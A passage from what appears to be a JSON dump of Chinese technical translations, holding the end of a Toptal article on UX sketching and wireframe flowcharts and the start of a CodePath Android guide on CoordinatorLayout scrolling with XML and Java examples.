当你把草图展示给他人，或者等你自己再多看看它们的之后，你可能需要一些建议来修正或改进你的草图。把你的反馈用不同于草图的颜色标注起来，这可以帮助你从原始的草图中辨别出反馈，这会很管用的。\n\n你可以用不同的颜色来对应不同种类的元素。有时我用黑色来绘图，蓝色用来表示链接，深绿色用来做笔记，红色用来作为标题和反馈。尝试在你的草图中使用不同的颜色，但要确保你选择的颜色是固定的。\n\n![](https://assets.toptal.io/uploads/blog/image/121221/toptal-blog-image-1474979173494-5e70fe3f0f0ddbc3749abe0f468ae0bb.png)\n\n## 一些其他的建议和技巧\n\n1.  **别担心质量** - 别老盯着 Dribbble 上那些华丽的草图；它们和你要做的是__完全不一样__的意图。记住你画这些草图最主要的意图是让你的想法更加清晰，找出最好的解决方案，并节省你的时间。\n\n2.  **练习** - 作为一个新手，你可以尝试绘制一些应用。打开一个网站或者手机应用，尝试临摹它们，在笔记中描述界面中的元素。只要当你有空闲的时间，你就可以练习绘制你的设计中的基本元素。通常来说，练习会让你做得更完美。一段时间后，它会变成你的设计生活中的一部分。\n\n3.  **买一个文件夹** - 很多时候我宁愿在咖啡馆或家里工作，也不愿意在办公室工作。纸质的草图很容易被损毁，所以你可以买一个简单的文件夹让它们安全地保持完好。\n\n4.  **不管去哪儿都带上你的工具们** - 这可以帮助确保你可以在任何时间在纸上捕捉到你的灵感，除非你刚好没有任何想法，或者你老是记不得这些小事。我总是带着一个笔记本，一些 A4 纸和笔。\n\n5.  **与他人分享** - 与其他人交流，与你的团队交流是非常重要的。与他人交流并获得他们的反馈，尤其是在早期就这么做，可以帮助你在长期的工作中节省时间和资源。你也可以鼓励其他人画出他们对这个设计的构想。\n\n6.  **文件盒** - 考虑一下放一个文件盒在你的工作台上。像我就有三个文件盒：一个用来放接到的任务，一个用来放草图，另一个盒子里有许多没有用过的干净纸张。\n\n7.  **尝试和习惯** - 我为你推荐的工作流程都基于我自己的经验。在某个适当的时候，你也会发现最适合你的工作流程：用什么样的方法，用什么样的步骤顺序，用什么来正确激发你的创作潜能。要达到这样的底部，你必须不断尝试新的东西，这就是为什么不断实验新的版式，新的风格以及新的模板是非常重要的。\n\n8.  **套用模板** - 套用模板可以节省时间，而且可以让你的版式受到统一，释放更多时间来专注于更重要的部分。\n\n## 为你的草图加分的额外小窍门\n\n这些并不是必要的技巧，但它们是一些方法、工具和建议的合集，这些应该可以推进你的生产力和提高你草图的质量。\n\n![](https://assets.toptal.io/uploads/blog/image/121218/toptal-blog-image-1474978640692-2c88d90d23aeb1b8484677f5fc3d4447.png)\n\n1.  **建立一个草图板** - 使用纸和笔来代替数码工具最大的好处之一就是你可以把他们钉在墙上。你团队里的每一个人都可以看到和分享你的草图（虽然我建议还是要设立一个回顾的环节）。\n    *   你可以看到你自己的草图，这会刺激你的思考。而且你可以一眼看到整张图片——不是孤立的部分——而是整个结构。你也可以看到不同部分之间的交互是否相匹配。\n    *   建立一个草图版 - 附到你的白板旁。如果你的办公室里没有白板，你可以用一个双倍的胶带或者即时贴来把你的草图贴到墙上。如果你不想把它们贴到墙上，你可以找一个大一点的硬纸板来代替。我非常推荐建立一个草图版，它是一个最棒的设计工具。\n2.  **使用白板** - 白板是一个绝佳的绘图工具。它有很多优点：它可以供写作；它在涉及到与团队成员的讨论和绘制中非常有用。即是成员们的想法不那么合适，你也可以弄明白他们的思路并帮助你在同样的位置继续工作。\n    *   马克笔没有办法让你注意到细节，你不得不思考整体上的东西。草图则更易于理解。\n    *   白板很容易擦除和修正错误。\n    *   白板的空间很大，所以你可以轻松地思考整个系统的流程。\n    *   你可以附上草图，打印文件和其他相关材料。\n3.  **原型** - 制作一个可以点击的原型来看看你的设计的效果。试着获得一些关于界面元素的反馈。这项工作在你使用模板的时候会很好进行——你的草图都是相同尺寸的。很显然，用一个模板来绘制相同尺寸的草图是更容易的。我给你提供了一些可以下载使用的模板，来让这件事更简单。 [Mobile](https://toptal-email-assets.s3.amazonaws.com/71.pdf), [Browser multi-window](https://toptal-email-assets.s3.amazonaws.com/72.pdf), [Browser scroll](https://toptal-email-assets.s3.amazonaws.com/73.pdf), [Personas](https://toptal-email-assets.s3.amazonaws.com/74.pdf).\n\n4.  **用上你的打印机和扫描仪** - 在纸上手绘框架（你可以用尺子来画得更准确），然后用一个扫描仪或者手机应用来扫描，并把它打印出来。你可以在打印之前用图片编辑器编辑你的模板。你也可以移除没有必要的细节或者一些重复的元素。你还可以打印现成的网站，照片或者其他具体的元素。你可以把他们剪贴到你的草图上。\n\n5.  **用 Evernote 来扫描** - Evernote 是做设计的一个绝佳的工具。你可以用它来保存和分享你绘制的草图。你可以创建不同的主题，然后用标签来组织你的草图。它的「扫描」模式尤其让人印象深刻。把你的草图放到面前然后扫描，你就可以得到一份你草图的副本了。然后你可以邀请你的同事并给他们一个你的笔记的链接。因为 Evernote 在平板电脑和手机端都有 App，所以你可以总是保证你的草图随时可用。\n\n6.  **混搭草图** - 把一些生活化的和现实风格的东西加入你的草图中让他们可以和照片结合起来。这表示你需要照一张照片然后画一些故事在界面元素上。这也可以帮助你注意到一些交互问题和细节。\n\n7.  **还原现实世界** - 如果你需要创建一个故事版，在具体的背景中说明一个经历（比如一个人在公交车站使用手机），你的故事需要包含人物的描述，地点的描述，以及其他许多现实生活中的东西。这可能很难去画出来，尤其是你可能并没有非常好的绘画技能，但这里有一个简单的小提示：\n\n> 为物体或场合拍一张照片，然后用图片编辑器取得这些物体的轮廓。之后你可以把处理得到的轮廓图用到你的草图中。\n\n当然，如果你有一个__平板电脑和手绘笔__那将会更容易一些。\n\n## 线框流程图: 系统概要的流程和分支\n\n线框流程图描述的是一个系统流程的次序，一屏接着一屏，有着很多分支和关键点。我们应该思考一个用户怎样去安排他们的任务，他们怎么从一个屏幕到另一个屏幕，他们的总流程在这个产品上的耗时。\n\n![](https://assets.toptal.io/uploads/blog/image/121217/toptal-blog-image-1474978519495-3207145b04526cb6add52ae4214d3726.png)\n\n线框流程图——或者说把你画的东西像这样连接起来——可以根据下面这些不同的方式来整理：\n\n*   **序列** - 一屏接着一屏，一个序列就是一个不一样的旅程。当然它也可以是一个和关键点有关的故事。你展示的不光是这个旅程，也是用户可以选择的关键点和不同的过程。你可以展示你的交互结构。\n*   **场景变化** - 描绘一下元素，情景以及交互如何在不同的场之间变化。\n*   **屏幕 vs. 屏幕里的元素** - 你可以画出整个场景或者思考交互和微交互。\n*   **平台** - 你可以思考一个平台的流程或多个平台的流程。\n*   **范围** - 你该描绘一部分用户流程还是整个用户流程？描绘系统中单个用户的交互还是多个用户的交互？\n\n我通常会依据组织和实际的使用流程，去试着定义下面这些流程图的类型：\n\n![](https://assets.toptal.io/uploads/blog/image/121193/toptal-blog-image-1474530411596-b613d988b28bb8a092d6c814c2b22252.png)\n\n1. **反映总体的流程和一个高优先级的流程** - 及时画出这些界面的转换，并画出你的产品的使用流程。在这一步绘制中你可以交代一些背景，也可以有选择地展示一些用户界面。比如说，一个电商购物服务有着一个很长的流程，很可能包含很多步骤：用户怎么找到商品，用户订产品要经过的步骤，他们如何付款等等。\n\n2. **界面流程** - 这更专注于展示一个特定的功能。它可以是一个流程中的小分支的单独步骤。比如说，一个用户要上传一些照片或视频。\n\n3. **界面导航** - 画下你的界面和他们包含的不同选项。这不需要详细规划你的流程。这一步包含的信息展示了一个用户可以选择的不同选项，用户的不同流程线路，以及 App 中的不同部分。我通常在项目开始的时候就创建一个界面导航。这帮助你理解流程应该被如何组织起来（应该包含哪些重点，需要多层级）\n\n4.  **界面状态** - 画下一个界面或者元素的状态（一个例子可能是上传文件的对话框）。既然这样，举个例子，界面会有下面这些状态：\n\n    *   空白\n    *   用户在可操作的区域选择了文件\n    *   文件正在上传\n    *   文件上传好了\n    *   出现了一个错误\n\n## 绘制用户体验流程图：一个教会你怎么做的快速指南\n\n线框流程图的处理类似于单个的线框图。许多步骤都是相同或相似的，但是它们也有一些地方很不一样：\n\n**明确什么是你需要画出来的** - 决定究竟你要画哪些东西（比如，你设计中的一个局部或整个流程）。你是否想要安排不同的选项，或者表现你流程中的细节？并且你应该决定你是否需要把你的草图展示给其他人。\n\n**明确你的草图中应该包含哪些关键框架和转换** - 如果你把所有的界面和界面转换都添加到你的流程图中，那它将会非常长而且非常复杂。思考一下你应该用界面中的哪些关键点来展示交互的传达，这将有助于你完成你的任务。关于界面的转换也是一样，你需要选择哪些转换对你的思路表达是有意义的。看一看[这个例子](https://www.toptal.com/uploads/blog/image/121199/toptal-blog-image-1474540975778-abea7a31986dfeacfda2e4e0804a2d1a.png)来做参考吧。\n\n**定义起点** - 你流程里的起点在哪里？你可以从应用的入口作为起点，换句话说，这是用户登陆你的 App 后所看到的。或者，你可以从一个用户流程的结束点开始，然后描述用户怎么样才能到这一步。\n\n![](https://assets.toptal.io/uploads/blog/image/121219/toptal-blog-image-1474978685103-a4d5fcf8c50aa59c80b738780c115757.png)\n\n> 明确你的方法并制作一个全面的草图\n\n**判断下一步是什么** - 在画好起点之后，你可以通过回答下面这些问题来判断下一步应该是什么：\n\n*   这一步中的那条流程可以引导用户？\n*   你希望用户走哪一个流程？\n*   他们要怎么做才可以到那里？\n\n**画出可选的路径和入口** - 思考一下每一步用户可能到达的不同流程：\n\n*   如果用户的网络连接错误会发生什么？\n*   他们有哪些其他的选项？\n*   万一用户或 App 出现了错误，会发生什么？\n*   如果用户在这一步关掉了 App 会发生什么？\n*   用户下一次会从哪里启动这个 App？\n\n**思考一下可选的流程** - 分析整个流程，设计一个可选的流程，然后把它画出来\n\n**加上注释、笔记和细节** - 加上一些说明可以阐述那些不那么明显的细节。\n\n**保存** - 为你的草图做一个电子档的备份\n\n**分享** - 分享你的草图（比如通过 Evernote 或 Invision）。\n\n## 为用户体验绘制流程图的必要小提示：\n\n**先画个线框流程图** - 如果你要思考一个很长的用户流程，你最好快速画一个简单的草图，好弄明白你需要多大的空间，并且不至于遗落一些重要的步骤和细节。如果你之后想再把遗落的部分加到手绘图里可能会比较麻烦。\n\n**不要在一大张图里放太多的细节** - 手绘草图可没有_撤销_的按钮，所以想要在上面做改变是很麻烦的。你可能会因为把细节画得太细致，以至于你的注意力被越来越多的层级而转移了。你可以画出整体的系统来替代一个繁复的方案，试着把注意力放到关键的地方，并且给每个关键点一个独立的篇幅。\n\n**去掉不必要的细节，把不同程度的细节合并起来** - 你没有必要画出所有交互，所以尝试一下只在你的流程里体现关键的元素。当你在绘制一个复杂的交互流程时，你没有必要把每个界面的细节都画出来。有的界面可以用一些形状来代替，至于其他的关键界面你再为他们添加细节。\n\n**尝试一下不同尺寸的纸张** - 尝试一下不同规格的纸张吧，比如 A3 或者 A5 纸。纸张的尺寸会以不同的方式限制和影响你的工作方式。你无法在一张小尺寸的纸上加入太多的细节，但它可以帮助你聚焦于主要思想。用一张大纸可以画下很长的流程，许多的细节，并添加很多笔记。或者，你可以画下许多的小流程。\n\n**便利贴也能帮上忙** - 你也可以试着使用便利贴。你可以在上面画一部分的界面或者一些脚注，或者你也可以为你的草图画一些额外的状态。便利贴的好处是它们可以随意更换，你也可以很简单地把他们移动到别的地方。举个例子，如果你的流程有变化，你可以替换掉你的便利贴的顺序就好了。\n\n**使用模板** - 试着使用模板。它们可以节省你的时间，而且可以让你创建出更多可点击的、高质量的原型。\n\n**试着使用白板** - 白板的好处太多了。它们变得越来越流行，因为你可以在白板上画出一长串流程图和分支。你可以在纸上画出许多应用的原件，然后用磁铁把他们贴到白板上，添加到你的流程图中。\n\n**画上阴影** - 阴影可以帮助你标记一些重要的元素，并且它们让你的草图更有吸引力。我会用[这三种不同的阴影](https://www.toptal.com/uploads/blog/image/121196/toptal-blog-image-1474539075108-6a873f9d5c92296581a899fc3e595e83.JPG)\n\n*   光照方向的线条 - 它看上去并不总是那么漂亮，但你可以把它用来分级，把某个元素提升到不同的「高度」。\n*   用深色描绘部分外轮廓。(只能是底面，或者是底面和右面）\n*   使用专业的马克笔（或者类似的绘画应用）\n\n**画出部件** - 一个__「我画不好」__的畏难心理可能会扼杀你的创作欲望。那实际上比听起来更容易。就算是一个最复杂的草图也是由一些基本的图形来构成。就像[这个例子](https://www.toptal.com/uploads/blog/image/121200/toptal-blog-image-1474541374928-3041b386060c7e598ac8ed9e07e47ace.JPG)。\n\n> 如果你能画出一个点，一条线，一个三角形，一个方形和一个圆形，那你就可以在你的草图中画出你需要的任何图形。\n\n**把它们都放在一起** - 这些基本的元素，按键，单选按钮还有下拉菜单都是固定的基本部件。在你学会画好这些部件之后，你可以[把它们组合起来](https://www.toptal.com/uploads/blog/image/121201/toptal-blog-image-1474541497592-c88cfa0ae9df1bbd3229b7280cfd05c0.JPG)然后画出更复杂的图形和部件。\n\n## 总结\n\n这篇文章的目的不是教你创作一个最终的，一步到位的草图，或者万能的草图，因为设计师们会有不同的需要和个人的习惯。\n\n就像你看到的那样，这涉及到了__许多东西__。设计师可以用很多的工具，技巧和方法去创作草图，而且最好是主观的。当然每个人的工作不同，这些技巧可能有用，但也可能并不是对每个人都有用。如果你准备好开始这么做，你一定要先做一些试验。\n\n> 经常练习和试验可以帮助你找到适合你的工作方法。\n\n想要怎么选择最适合你工作方法的提示和技巧，取决于你自己。你对 [UXers](https://www.toptal.com/ux) 有任何关于草图的技巧要补充吗？在评论区随意分享吧。\n\n**相关链接：** [The Art Of Meaningful UX Design](https://www.toptal.com/designers/marketing/delight-meaningful-ux-design)\n\n\n\n"
  },
  {
    "path": "TODO/handling-scrolls-with-coordinatorlayout.md",
    "content": "> * 原文地址：[Handling Scrolls with CoordinatorLayout](https://guides.codepath.com/android/handling-scrolls-with-coordinatorlayout)\n> * 原文作者：[CODEPATH](https://guides.codepath.com/android)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/handling-scrolls-with-coordinatorlayout.md](https://github.com/xitu/gold-miner/blob/master/TODO/handling-scrolls-with-coordinatorlayout.md)\n> * 译者：[Feximin](https://github.com/Feximin)\n\n# 用 CoordinatorLayout 处理滚动\n\n## 总览\n\n[CoordinatorLayout](https://developer.android.com/reference/android/support/design/widget/CoordinatorLayout.html) 扩展了完成 Google's Material Design 中的多种[滚动效果](http://www.google.com/design/spec/patterns/scrolling-techniques.html)的能力。目前，此框架提供了几种不需要写任何自定义动画代码就可以（使动画）工作的方式。这些效果包括：\n\n* 上下滑动 Floating Action Button 以给 Snackbar 提供空间。\n\n![](https://imgur.com/zF9GGsK.gif)\n\n* 将 Toolbar 或 header 展开或者收起从而为主内容区提供空间。\n\n![](https://imgur.com/X5AIH0P.gif)\n\n* 控制哪一个 view 以何种速率进行展开或收起，包括[视差滚动效果](https://ihatetomatoes.net/demos/parallax-scroll-effect/)动画。\n\n![](https://imgur.com/1JHP0cP.gif)\n\n### 代码示例\n\n来自 Google 的 Chris Banes 将 `CoordinatorLayout` 和 [design support library](/android/Design-Support-Library) 中其他的特性放在一起做了一个酷炫的 demo。\n\n[![](https://i.imgur.com/aA8aGSg.png)](https://github.com/chrisbanes/cheesesquare)\n\n在 github 上可以查看[完整源码](https://github.com/chrisbanes/cheesesquare)。这个项目是最容易理解 `CoordinatorLayout` 的方式之一。\n\n### 设置\n\n首先要确保遵循 [Design Support Library](/android/Design-Support-Library) 的说明。\n\n## Floating Action Button 和 Snackbar\n\nCoordinatorLayout 可以通过使用 `layout_anchor` 和 `layout_gravity` 属性来创建悬浮效果。更多信息请参见 [Floating Action Buttons](/android/Floating-Action-Buttons) 指南。\n\n当渲染一个 [Snackbar](/android/Displaying-the-Snackbar) 时，它通常出现在可见屏幕的底部。Floating action button 必须上移以便腾出空间。\n\n![](https://imgur.com/zF9GGsK.gif)\n\n只要 CoordinatorLayout 被用作主布局，这个动画效果就会自动出现。Float action button 有一个[默认的 behavior](https://developer.android.com/reference/android/support/design/widget/FloatingActionButton.Behavior.html) 可以在检测到 Snackbar 被加入的同时将这个 button 向上移动 Snackbar 的高度。\n\n```\n <android.support.design.widget.CoordinatorLayout\n        android:id=\"@+id/main_content\"\n        xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\">\n\n   <android.support.v7.widget.RecyclerView\n         android:id=\"@+id/rvToDoList\"\n         android:layout_width=\"match_parent\"\n         android:layout_height=\"match_parent\"/>\n\n   <android.support.design.widget.FloatingActionButton\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:layout_gravity=\"bottom|right\"\n        android:layout_margin=\"16dp\"\n        android:src=\"@mipmap/ic_launcher\"\n        app:layout_anchor=\"@id/rvToDoList\"\n        app:layout_anchorGravity=\"bottom|right|end\"/>\n </android.support.design.widget.CoordinatorLayout>\n```\n\n## 展开与收起 Toolbar\n\n![](https://imgur.com/X5AIH0P.gif)\n\n首先确保你使用的不是过时的 ActionBar。并确保遵循了 [将 ToolBar 用作 ActionBar](/android/Using-the-App-Toolbar#using-toolbar-as-actionbar) 指南。还要确保的是以 oordinatorLayout 作为主布局容器。\n\n```\n<android.support.design.widget.CoordinatorLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:id=\"@+id/main_content\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:fitsSystemWindows=\"true\">\n\n      <android.support.v7.widget.Toolbar\n                android:id=\"@+id/toolbar\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"?attr/actionBarSize\"\n                app:popupTheme=\"@style/ThemeOverlay.AppCompat.Light\" />\n\n</android.support.design.widget.CoordinatorLayout>\n```\n\n### 响应滚动事件\n\n接下来，我们必须使用一个叫做 [AppBarLayout](http://developer.android.com/reference/android/support/design/widget/AppBarLayout.html) 的容器布局来使 ToolBar 响应滚动事件：\n\n```\n<android.support.design.widget.AppBarLayout\n        android:id=\"@+id/appbar\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"@dimen/detail_backdrop_height\"\n        android:theme=\"@style/ThemeOverlay.AppCompat.Dark.ActionBar\"\n        android:fitsSystemWindows=\"true\">\n\n  <android.support.v7.widget.Toolbar\n                android:id=\"@+id/toolbar\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"?attr/actionBarSize\"\n                app:popupTheme=\"@style/ThemeOverlay.AppCompat.Light\" />\n\n </android.support.design.widget.AppBarLayout>\n```\n\n**注意**：根据官方的 [Google 文档](http://developer.android.com/reference/android/support/design/widget/AppBarLayout.html)，目前 AppBarLayout 需要作为直接子元素被嵌入 CoordinatorLayout 中。\n\n然后，我们需要在 AppBarLayout 和 期望被滚动的 View 之间定义一个关联。在 RecyclerView 或其他类似  [NestedScrollView](http://stackoverflow.com/questions/25136481/what-are-the-new-nested-scrolling-apis-for-android-l) 这样的可以嵌套滚动的 View 中加入 `app:layout_behavior`。支持库中有一个映射到 [AppBarLayout.ScrollingViewBehavior](https://developer.android.com/reference/android/support/design/widget/AppBarLayout.ScrollingViewBehavior.html) 的特殊字符串资源 `@string/appbar_scrolling_view_behavior`，它可以在某个特定的 view 上发生滚动事件时通知 `AppBarLayout`。Behavior 必须建立在触发（滚动）事件的 view 上。\n\n```\n <android.support.v7.widget.RecyclerView\n        android:id=\"@+id/rvToDoList\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        app:layout_behavior=\"@string/appbar_scrolling_view_behavior\">\n```\n\n当 CoordinatorLayout 发现 RecyclerView 中声明了这一属性，它就会搜索包含在其下的其他 view 看有没有与这个 behavior 关联的任何相关 view。在这种特殊情况下 `AppBarLayout.ScrollingViewBehavior` 描述了 RecyclerView 和 AppBarLayout 之间的依赖关系。RecyclerView 上的任何滚动事件都将触发 AppBarLayout 或任何包含在其中的 view 的布局发生变化。\n\nRecyclerView 的滚动事件触发了 `AppBarLayout` 中用 `app:layout_scrollFlags` 属性声明的 view 发生变化：\n\n```\n    <android.support.design.widget.AppBarLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:fitsSystemWindows=\"true\"\n        android:theme=\"@style/ThemeOverlay.AppCompat.Dark.ActionBar\">\n\n            <android.support.v7.widget.Toolbar\n                android:id=\"@+id/toolbar\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"?attr/actionBarSize\"\n                app:layout_scrollFlags=\"scroll|enterAlways\"/>\n\n </android.support.design.widget.AppBarLayout>\n```\n\n若要使任一滚动效果生效，必须启用 `app:layout_scrollFlags` 属性中的 `scroll` 标志。这个标志必须与 `enterAlways`、`enterAlwaysCollapsed`、 `exitUntilCollapsed` 或者 `snap` 一同使用：\n\n* `enterAlways`：向上滚动时 view 变得可见。此标志在从一个列表的底部滑动并且希望只要一向上滑动 `Toolbar` 就显示这种情况下是很有用的。\n    > Ps：这里所说的 scrolling up 应该指的是 list 的滚动条向上滑动而不是上滑的手势。\n\n    ![](https://imgur.com/sGltNwr.png)\n\n    通常，只有当 list 滑到顶部的时候 `Toolbar` 才会显示，如下所示：\n\n    ![](https://i.imgur.com/IZzcL1C.png)\n\n* `enterAlwaysCollapsed`：通常只有当使用了 `enterAlways`，`Toolbar` 才会在你向下滑的时候继续展开：\n\n    ![](https://imgur.com/nVtheyw.png)\n\n    假设你声明了 `enterAlways` 并且已经设置了一个 `minHeight`，你也可以使用 `enterAlwaysCollapsed`。如果这样设置了，你的 view 只会显示出这个最低高度。只有当滑到头的时候那个 view 才会展开到它的完全高度：\n\n    ![](https://imgur.com/HqR8Nx5.png)\n\n* `exitUntilCollapsed`：当设置了 `scroll` 标志时，下滑通常会引起全部内容的移动：\n\n    ![](https://imgur.com/qpEr4x5.png)\n\n    通过指定 `minHeight` 和 `exitUntilCollapsed`，剩余内容开始滚动之前将首先达到 `Toolbar` 的最小高度，然后退出屏幕：\n\n    ![](https://imgur.com/dTDPztp.png)\n\n* `snap`：使用这一选项将由其决定在 view 只有部分减时所执行的功能。如果滑动结束时 view 的高度减少的部分小于原始高度的 50%，那么它将回到最初的位置。如果这个值大于它的 50%，它将完全消失。\n    ![](https://i.imgur.com/9hnupWJ.png)\n\n**注意**：在你脑海中要将使用了 `scroll` 标志位的 view 放在首位。这样，被折叠的 view 将会首先退出，留下在顶部固定着的元素。\n\n至此，你应该意识到这个 ToolBar 响应了滚动事件。\n\n![](https://imgur.com/Hl2Asb1.gif)\n\n### 创建折叠效果\n\n如果想创建折叠 ToolBar 的效果，我们必须将 ToolBar 包含在 CollapsingToolbarLayout 中：\n\n```\n<android.support.design.widget.AppBarLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:fitsSystemWindows=\"true\"\n        android:theme=\"@style/ThemeOverlay.AppCompat.Dark.ActionBar\">\n    <android.support.design.widget.CollapsingToolbarLayout\n            android:id=\"@+id/collapsing_toolbar\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:fitsSystemWindows=\"true\"\n            app:contentScrim=\"?attr/colorPrimary\"\n            app:expandedTitleMarginEnd=\"64dp\"\n            app:expandedTitleMarginStart=\"48dp\"\n            app:layout_scrollFlags=\"scroll|exitUntilCollapsed\">\n\n            <android.support.v7.widget.Toolbar\n                android:id=\"@+id/toolbar\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"?attr/actionBarSize\"\n                app:layout_scrollFlags=\"scroll|enterAlways\"></android.support.v7.widget.Toolbar>\n\n    </android.support.design.widget.CollapsingToolbarLayout>\n</android.support.design.widget.AppBarLayout>\n```\n\n现在结果应该显示为：\n\n![](https://imgur.com/X5AIH0P.gif)\n\n通常，我们会设置 Toolbar 的标题。现在，我们需要在 CollapsingToolBarLayout 而不是 Toolbar 上设置标题。\n\n```\n CollapsingToolbarLayout collapsingToolbar =\n              (CollapsingToolbarLayout) findViewById(R.id.collapsing_toolbar);\n collapsingToolbar.setTitle(\"Title\");\n```\n\n注意，在使用 `CollapsingToolbarLayout` 的时候，应该如[此文档](https://github.com/chrisbanes/cheesesquare/blob/master/app/src/main/res/values-v21/styles.xml)所述，将状态栏设置成半透明（API 19）或者透明（API 21）的。特别是，应该在 `res/values-xx/styles.xml` 中设置以下样式：\n\n```\n<!-- res/values-v19/styles.xml -->\n<style name=\"AppTheme\" parent=\"Base.AppTheme\">\n    <item name=\"android:windowTranslucentStatus\">true</item>\n</style>\n\n<!-- res/values-v21/styles.xml -->\n<style name=\"AppTheme\" parent=\"Base.AppTheme\">\n    <item name=\"android:windowDrawsSystemBarBackgrounds\">true</item>\n    <item name=\"android:statusBarColor\">@android:color/transparent</item>\n</style>\n```\n通过像上面那样启用系统栏的半透明效果，你的布局会将内容填充到系统栏后面，因此你还必须在那些不想被系统栏覆盖的布局上使用 `android:fitsSystemWindow` 。另外一种为 API 19 添加内边距来避免系统栏覆盖 view 的方案可以在[这里](http://blog.raffaeu.com/archive/2015/04/11/android-and-the-transparent-status-bar.aspx)查看。\n\n### 创建视差动画\n\nCollapsingToolbarLayout 可以让我们做出更高级的动画，例如使用一个在折叠的同时可以渐隐的 ImageView。在用户滑动时，标题的高度也可以改变。\n\n![](https://imgur.com/ah4l5oj.gif)\n\n要想创建这种效果的话，我们需要添加一个 ImageView 并在 ImageView 标签中声明 `app:layout_collapseMode=\"parallax\"` 属性。\n\n```\n<android.support.design.widget.CollapsingToolbarLayout\n    android:id=\"@+id/collapsing_toolbar\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:fitsSystemWindows=\"true\"\n    app:contentScrim=\"?attr/colorPrimary\"\n    app:expandedTitleMarginEnd=\"64dp\"\n    app:expandedTitleMarginStart=\"48dp\"\n    app:layout_scrollFlags=\"scroll|exitUntilCollapsed\">\n\n            <android.support.v7.widget.Toolbar\n                android:id=\"@+id/toolbar\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"?attr/actionBarSize\"\n                app:layout_scrollFlags=\"scroll|enterAlways\" />\n            <ImageView\n                android:src=\"@drawable/cheese_1\"\n                app:layout_scrollFlags=\"scroll|enterAlways|enterAlwaysCollapsed\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:scaleType=\"centerCrop\"\n                app:layout_collapseMode=\"parallax\"\n                android:minHeight=\"100dp\" />\n\n</android.support.design.widget.CollapsingToolbarLayout>\n```\n\n## 底部表\n\n在 support design library 的 `v23.2` 版本中已经支持底部表了。支持的底部表有两种类型：[persistent](https://www.google.com/design/spec/components/bottom-sheets.html#bottom-sheets-persistent-bottom-sheets) 和 [modal](https://www.google.com/design/spec/components/bottom-sheets.html#bottom-sheets-modal-bottom-sheets)。Persistent 类型的底部表显示应用内的内容，而 modal 类型的则显示菜单或者简单的对话框。\n\n![](https://imgur.com/3hCTnnC.png)\n\n### Persistent 形式的底部表\n\n有两种方法来创建 Persistent 形式的底部表。第一种是用 `NestedScrollView`，然后就简单地将内容嵌到里面。第二种是额外创建一个嵌入 `CoordinatorLayout` 中的 `RecyclerView`。如果 `layout_behavior` 是预定义好的 `@string/bottom_sheet_behavior`，那么这个 `RecyclerView` 默认是隐藏的。还要注意的是 `RecyclerView` 应该使用 `wrap_content` 而不是 `match_parent`，这是一个新修改，为的是让底部栏只占用必要的而不是全部空间：\n\n```\n<CoordinatorLayout>\n\n    <android.support.v7.widget.RecyclerView\n        android:id=\"@+id/design_bottom_sheet\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        app:layout_behavior=\"@string/bottom_sheet_behavior\">\n</CoordinatorLayout>\n```\n\n下一步是创建 `RecyclerView`。我们可以创建一个简单的只包含一张图片和文字的 `Item`，和一个可以填充这些 items 的适配器。\n\n```\n\npublic class Item {\n\n    private int mDrawableRes;\n\n    private String mTitle;\n\n    public Item(@DrawableRes int drawable, String title) {\n        mDrawableRes = drawable;\n        mTitle = title;\n    }\n\n    public int getDrawableResource() {\n        return mDrawableRes;\n    }\n\n    public String getTitle() {\n        return mTitle;\n    }\n\n}\n```\n接着，创建适配器：\n\n```\npublic class ItemAdapter extends RecyclerView.Adapter<ItemAdapter.ViewHolder> {\n\n    private List<Item> mItems;\n\n    public ItemAdapter(List<Item> items, ItemListener listener) {\n        mItems = items;\n        mListener = listener;\n    }\n\n    public void setListener(ItemListener listener) {\n        mListener = listener;\n    }\n\n    @Override\n    public ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n        return new ViewHolder(LayoutInflater.from(parent.getContext())\n                .inflate(R.layout.adapter, parent, false));\n    }\n\n    @Override\n    public void onBindViewHolder(ViewHolder holder, int position) {\n        holder.setData(mItems.get(position));\n    }\n\n    @Override\n    public int getItemCount() {\n        return mItems.size();\n    }\n\n    public class ViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener {\n\n        public ImageView imageView;\n        public TextView textView;\n        public Item item;\n\n        public ViewHolder(View itemView) {\n            super(itemView);\n            itemView.setOnClickListener(this);\n            imageView = (ImageView) itemView.findViewById(R.id.imageView);\n            textView = (TextView) itemView.findViewById(R.id.textView);\n        }\n\n        public void setData(Item item) {\n            this.item = item;\n            imageView.setImageResource(item.getDrawableResource());\n            textView.setText(item.getTitle());\n        }\n\n        @Override\n        public void onClick(View v) {\n            if (mListener != null) {\n                mListener.onItemClick(item);\n            }\n        }\n    }\n\n    public interface ItemListener {\n        void onItemClick(Item item);\n    }\n}\n```\n\n底部表默认是被隐藏的。我们需要用一个点击事件来触发显示和隐藏。**注意**：由于这个已知的 [issue](https://code.google.com/p/android/issues/detail?id=202174)，因此不要尝试在 `OnCreate()` 方法中展开底部表。\n\n```\nRecyclerView recyclerView = (RecyclerView) findViewById(R.id.design_bottom_sheet); \n\n// Create your items\nArrayList<Item> items = new 